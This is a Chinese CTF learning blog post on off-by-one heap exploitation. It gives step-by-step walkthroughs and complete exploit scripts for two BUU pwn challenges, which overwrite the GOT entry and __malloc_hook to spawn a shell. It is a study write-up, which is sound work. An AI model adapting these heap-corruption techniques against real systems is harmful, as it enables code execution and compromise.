关于 off-by-one 的学习

news2024/9/21 0:36:45

pwn的功底还很浅,仅仅是记录自己学习的一点心得体会。
后续随着学习深入,还会补知识点和题目上来。

知识点

优秀的学习资料

关于off by null的学习总结 | ZIKH26

Chunk Extend and Overlapping | ctfwiki

一点理解

与off-by-one联系很紧密的就是上面提到的 Chunk Extend and Overlapping
也就是常说的"造堆块重叠"。
为什么要造堆块重叠?
比如我们想要改写一个chunk的头部字段,也就是prev_size和size段,直接申请肯定是改不了的。
一种思路是构造错位的fake chunk,另一种更简单的思路就是造堆块重叠,通过修改size位,使得一个大的堆块的user data部分包括了我们想要修改的小堆块的header部分。

例题

[buu] hitcontraining_heapcreator

题目

我觉得这道题算是一个很好的了解off-by-one利用方式的一个例题。题目难度不大,利用点还是比较巧妙的。

反编译找漏洞点,
image
这里存在一个人为的off-by-one,而且这里可以多写一个字节。

回到题目的分配情况,image
先分配了一个size为0x10的chunk来存放一些信息,后面再为content分配了一个chunk
这里gdb调试看看就很清晰

比如我 add(0x28,‘0’),add(0x10,‘1’)后的堆块布局
image

可以看到我们每次add都会在低地址先malloc一个存放堆块信息的chunk,紧接着再malloc了一个存content的chunk。

然后注意到对于edit,show这些的操作都是通过堆块信息的结构体来"索引"的,那我们想要泄露libc就可以把堆块信息的这个chunk的 *content 字段修改为某个函数的got表的地址,比如这道题就用atoi,那么show的时候就会打印出atoi_addr了。

这就涉及到前面"一点理解"那里类似的情形,我们直接无法修改这个"存放堆块信息"的chunk的内容,所以可以比较巧妙的利用off-by-one来实现堆块的extend

比如我们这么修改一下,其实就能造成堆块的扩张和重叠
image

下面来讲下具体的利用。

  1. 首先我们要修改一个"存放堆块信息"堆块的size段。
    这步可以通过这个信息堆块上面的内容堆块的off-by-one漏洞实现。
  2. 然后我们free掉这个信息堆块对应的chunk的index
  3. 这时,根据delete_heap的实现
    image

信息堆块和内容堆块都会free,所以此时fastbins里面有0x20,0x40两个size的bin

image

  1. 此时我们add一个0x30的chunk,0x40的fastbin会被申请为内容堆块,而又会申请一个0x20的信息堆块,所以0x20的bin也会被申请回来。

image

  1. 这道题很关键的点是信息堆块决定了对应chunk的size以及内容!所以在上一步add(0x30)时就能覆写对应信息堆块的内容。这样就能把内容改为atoi的got表,show(1)就能泄露libc了。
  2. 由于已经改了chunk1的内容地址,那么edit(1)就能把atoi的got表的内容改为system了,再发送一个"/bin/sh\x00"就能getshell了。

当然还有些细节,比如最后提到的0x18,0x28的size选择,以及修改信息堆块内容是要预留size字段(不然最后edit没长度给你写)等等。

Exp:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'\x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/sh\x00")


p.interactive()

这道题其实还有个点很关键,也是我最开始比较疑惑的一个点。ZIKH师傅的EXP最开始的chunk0 add的是0x18,我自己实践改为0x10,0x20这些均不行,改为0x28却又可以。
调试发现,改为0x10,0x20这种的时候,我们的userdata是不会启用下一个chunk的prev_size的。
image

而分配0x18,0x28这种时,ptmalloc2的机制就会复用next_chunk的prev_size段
image

emmm,其实归根到底就是自己对堆还是不够熟悉。毕竟只看wiki的讲解,知识点那么多,细节点也很繁杂,很难记得住。当然,实战碰到过,自己调试看一遍再理解后就好多了。

[buu] roarctf_2019_easy_pwn

题目

题目漏洞点在这里,image

当a2-a1==10这个if里面,也就是edit输入的size比add的size刚好大10的时候,存在一个off-by-one。

大致分配结构
image

还是用bss段存了chunk的inuse和*content

我们还是可以通过off-by-one结合0x?8的size复用prev_size的特点来伪造prev_size和size触发前向(低地址)合并
image

此时再free(2)就可以看到触发合并了
image

这时,我们再add(0x80),再show(1),其实就能打印出 main_arena+88的值了
image

我的理解是:这里的add(0x80)就是把unsortedbin给切分了,使得fd指针(main_arena+88)移到了可show的chunk1 段。

至此就泄露了libc的基址
后面的操作感觉涉及到很多堆块的重叠,这里就逐步调试的看。
泄露libc时的堆布局
image

add(0x68)
image
(从unsortedbin切了一块)

free(1)
(fastbin 0x70)
image

edit(2,p64(malloc_hook-0x23))
(这里利用了上上步申请的0x68的chunk2和刚刚free的chunk1是重叠的(chunk1在最开始申请的))
image

add(0x68)
(申请回chunk1,实际也是chunk2)
image

add(0x68)
(申请回malloc_hook-0x23处的fake_chunk)
image

然后就是要用realloc调整栈帧,就能getshell了。

然后本地能打通,远程打不通。
看了看ZIKH师傅的Exp,需要把本地的
realloc = libcbase + libc.sym['realloc']改为realloc = libcbase + 0x846c0
然后还要改one_gadget的值
image

像这两个one_gadget有一个offset,目前不知道为什么,可能跟调整栈帧有关?(后面来学)

打本地Exp:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()

本地:
image

远程:
image


总结,难。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1908447.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Fastapi在docekr中进行部署之后,uvicorn占用的CPU非常高

前一段接点小活,做点开发,顺便学了学FASTAPI框架,对比flask据说能好那么一些,至少并发什么的不用研究其他的asgi什么的,毕竟不是专业开发,能少研究一个东西就省了很多的事。 但是部署的过程中突然之间在do…

典型案例 | 基于全数字实时仿真的嵌入式DevOps解决方案

为丰富浙江省信息技术应用创新(以下简称“信创”)产业生态,在全社会各领域形成示范效应,浙江省经信厅联合省密码管理局开展2023年浙江省深化信创典型案例评选工作。 经过征集申报、专家评选、名单公示等程序,确定36个…

秒懂设计模式--学习笔记(6)【创建篇-建造者模式】

目录 5、建造者模式5.1 介绍5.2 建造步骤的重要性5.3 地产开发商的困惑5.4 建筑施工方5.5 工程总监5.6 项目实施5.7 建造者模式的各角色定义5.8 建造者模式 5、建造者模式 5.1 介绍 建造者模式(Builder)又称为生成器模式,主要用于对复杂对象…

20.呼吸灯:利用PWM控制小灯在相同时间段内的不同占空比

(1)设计一段代码,实现led灯在一秒内由完全熄灭到完全点亮,在第二秒由完全点亮转为完全熄灭,循环往复。 (2)Verilog代码: module breath_led(clk,reset_n,led);input clk;input res…

Open3D 计算点云的欧式距离

目录 一、概述 1.1欧式距离定义 1.2作用和用途 二、代码实现 2.1关键函数 2.2完整代码 三、实现效果 3.1原始点云 3.2处理后点云 一、概述 在Open3D中,compute_point_cloud_distance函数用于计算两个点云之间的距离。具体来说,它计算的是源点云…

进程 VS 线程(javaEE篇)

🍁 个人主页:爱编程的Tom💫 本篇博文收录专栏:JavaEE初阶👉 目前其它专栏:c系列小游戏 c语言系列--万物的开始_ 等 🎉 欢迎 👍点赞✍评论⭐收藏💖三连支…

一.4 处理器读并解释储存在内存中的指令

此刻,hello.c源程序已经被编译系统翻译成了可执行目标文件hello,并被存放在硬盘上。要想在Unix系统上运行该可执行文件,我们将它的文件名输入到称为shell的应用程序中: linux>./hello hello, world linux> shell是一个命令…

YOLOv10改进 | 添加注意力机制篇 | 添加FocusedLinearAttention助力yolov10实现有效涨点(含二次创新PSA机制)

一、本文介绍 本文给大家带来的改进机制是Focused Linear Attention(聚焦线性注意力)是一种用于视觉Transformer模型的注意力机制(但是其也可以用在我们的YOLO系列当中从而提高检测精度),旨在提高效率和表现力。其解决了两个在传统线性注意力…

博美犬插画:成都亚恒丰创教育科技有限公司

​博美犬插画:萌动心灵的细腻笔触 在浩瀚的艺术海洋中,有一种艺术形式总能以它独有的温柔与细腻,触动人心最柔软的部分——那便是插画。而当插画遇上博美犬这一萌宠界的明星,便诞生了一幅幅令人爱不释手的作品,成都亚…

云计算【第一阶段(28)】DNS域名解析服务

一、DNS解析的定义与作用 1.1、DNS解析的定义 DNS解析(Domain Name System Resolution)是互联网服务中的一个核心环节,它负责将用户容易记住的域名转换成网络设备能够识别和使用的IP地址。一般来讲域名比 IP 地址更加的有含义、也更容易记住…

DNS隧道

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell 目录 Dnscat2安装 解决bundle instal1特别慢问题 客户…

4.动态SQL(if,choose,where,set,trim,foreach遍历)的使用+$和#的区别

文章目录 动态sql一、动态sql1.if条件判断2、choose、when、otherwise3、where标签4、set标签5、trim标签1)替代where标签效果2) 生成set标签效果 6、foreach迭代遍历1)属性 7.SQL标签-提取重用的SQL代码片段8、bind标签9.MyBatis中${}和#{}的区别: 动态sql 一、动态sql 常见…

windows USB 设备驱动开发-USB 等时传输

客户端驱动程序可以生成 USB 请求块 (URB) 以在 USB 设备中向/从常时等量端点传输数据。虽然USB设备一向以非等时传输出名,USB提供的是一种串行数据,而非等时,但是USB仍然设计了等时传输的机制,但根据笔者的经验,等时传…

vue3项目,表单增删改

效果图 ArticleChannel.vue页面代码 <script setup> import {artGetChannelsService ,artDelChannelService} from /api/article.js import { Edit, Delete } from element-plus/icons-vue //调用open方法&#xff0c;ChannelEdit去修改组件内部类容 import ChannelEdit…

Geoserver源码解读六 插件(怎么在开发模式下使用)

系列文章目录 Geoserver源码解读一 环境搭建 Geoserver源码解读二 主入口 Geoserver源码解读三 GeoServerBasePage Geoserver源码解读四 REST服务 Geoserver源码解读五 Catalog Geoserver源码解读六 插件&#xff08;怎么在开发模式下使用&#xff09; 文章目录 系列文…

QT5.12.9 通过MinGW64 / MinGW32 cmake编译Opencv4.5.1

一、安装前准备&#xff1a; 1.安装QT,QT5.12.9官方下载链接&#xff1a;https://download.qt.io/archive/qt/5.12/5.12.9/ QT安装教程&#xff1a;https://blog.csdn.net/Mark_md/article/details/108614209 如果电脑是64位就编译器选择MinGW64&#xff0c;32位就选择MinGW…

自动驾驶---Perception之Occupancy

1 背景 在阐述Occupancy之前&#xff0c;先理解为什么要使用Occupancy&#xff1f; 如果自动驾驶车辆在行驶过程中看到的物体不是数据集的一部分&#xff0c;这个时候容易出现误判。 而在基于激光雷达的系统中&#xff0c;由于检测到点云&#xff0c;可以确定障碍物的存在&…

《Windows API每日一练》8.5 listbox控件

列表框是将一批文本字符串显示在一个具有滚动功能的方框中的控件。通过发送消息到列表框的窗口过程&#xff0c;程序可以添加或删除列表中的字符串。当列表框中的一个项目被选中时&#xff0c;列表框控件便发送 WM_COMMAND消息到其父窗口。然后父窗口确定哪个项目被选中。 本节…

C# 中的Semaphore(信号量)详解与应用

文章目录 1. 信号量是什么&#xff1f;2. C# 中的 Semaphore 类3. 信号量的使用示例3.1 创建信号量3.2使用信号量同步线程 4. 总结 在并发编程中&#xff0c;同步是一种基本的需求。信号量&#xff08;Semaphore&#xff09;是一种常见的同步机制&#xff0c;它用于控制对共享资…

Jhipster实战中遇到的知识点-开发记录

利用Jhipster开发的网站天赋吉星终于上线啦&#xff0c;本文介绍了在开发过程中遇到的各种小的知识点和技巧&#xff0c;绝对干货&#xff0c;供你参考。大家可以直接点击天赋吉星&#xff0c;看到网站效果。 首先介绍一下项目技术选型&#xff0c;JHipster 版本:8.1.0, 项目类…